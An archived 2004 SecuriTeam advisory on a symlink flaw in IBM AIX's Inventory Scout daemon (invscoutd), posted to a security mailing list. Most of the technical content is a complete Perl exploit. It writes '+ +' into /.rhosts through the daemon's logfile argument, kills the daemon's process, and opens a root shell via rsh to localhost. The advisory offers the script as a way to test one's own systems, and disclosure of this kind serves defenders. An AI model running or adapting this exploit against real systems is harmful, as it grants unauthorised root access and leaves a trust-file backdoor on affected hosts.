[EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/13/04

  • Next message: SecuriTeam: "[EXPL] HP-UX Xfs Daemon Port Buffer Overflow" 
    To: list@securiteam.com
Date: 13 Jul 2004 16:35:54 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      IBM AIX Inventory Scout Log File Vulnerability (invscoutd)
    ------------------------------------------------------------------------

    SUMMARY

    Inventory Scout daemon is "a daemon that surveys the host system for
    currently installed microcode or Vital Product Data (VPD)". A
    vulnerability in Inventory Scout due to insecure use of the logfile
    command line option by invscoutd allows a local attacker to carefully
    constructed logfile name in conjunction with a symbolic link attack to
    create or append to arbitrary files with root privileges.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * AIX 4.3.3
     * AIX 5.1
     * Inventory Scout Daemon version 2.0.2
     * Inventory Scout version 1.3.0.0

    Exploit:
    #!/usr/bin/perl
    # FileName: x_invscoutd.pl
    # Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
    # Tested : on Aix4.3.3 & Aix5.1.
    # Some high version of invscoutd is not affected.
    # Author : watercloud@nsfocus.com
    # watercloud@xfocus.org
    # Date : 2003-5-29
    # Announce: use as your owner risk!

    $LOG="/tmp/.ex/.hello\n+ +\nworld";
    $CMD="/usr/sbin/invscoutd";
    umask 022;
    mkdir "/tmp/.ex",0777;

    print "Exploit error on kill process invscoutd !!" ,exit 1
      if &killproc() == 0;

    symlink "/.rhosts",$LOG;
    system $CMD,"-p7321",$LOG; &killproc();
    unlink $LOG;
    print "\n============\nRemember to remove /.rhosts !!\n";
    print "rsh localhost -l root '/bin/sh -i'\n";
    print "waiting . . . . . .\n";
    system "rsh","localhost","-l","root","/bin/sh -i";

    system $CMD,"-p808","/dev/null" ; &killproc();
    rmdir "/tmp/.ex";

    sub killproc() {
      $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
      @proc_lst=split;
      $ret=kill 9,$proc_lst[1] if $proc_lst[1];
      $ret=-1 if ! defined $ret;
      return $ret;
    }
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@nsfocus.com>
    watercloud.
    The original article can be found at:
    <http://xfocus.net/articles/200406/710.html>
    http://xfocus.net/articles/200406/710.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] HP-UX Xfs Daemon Port Buffer Overflow"

    Relevant Pages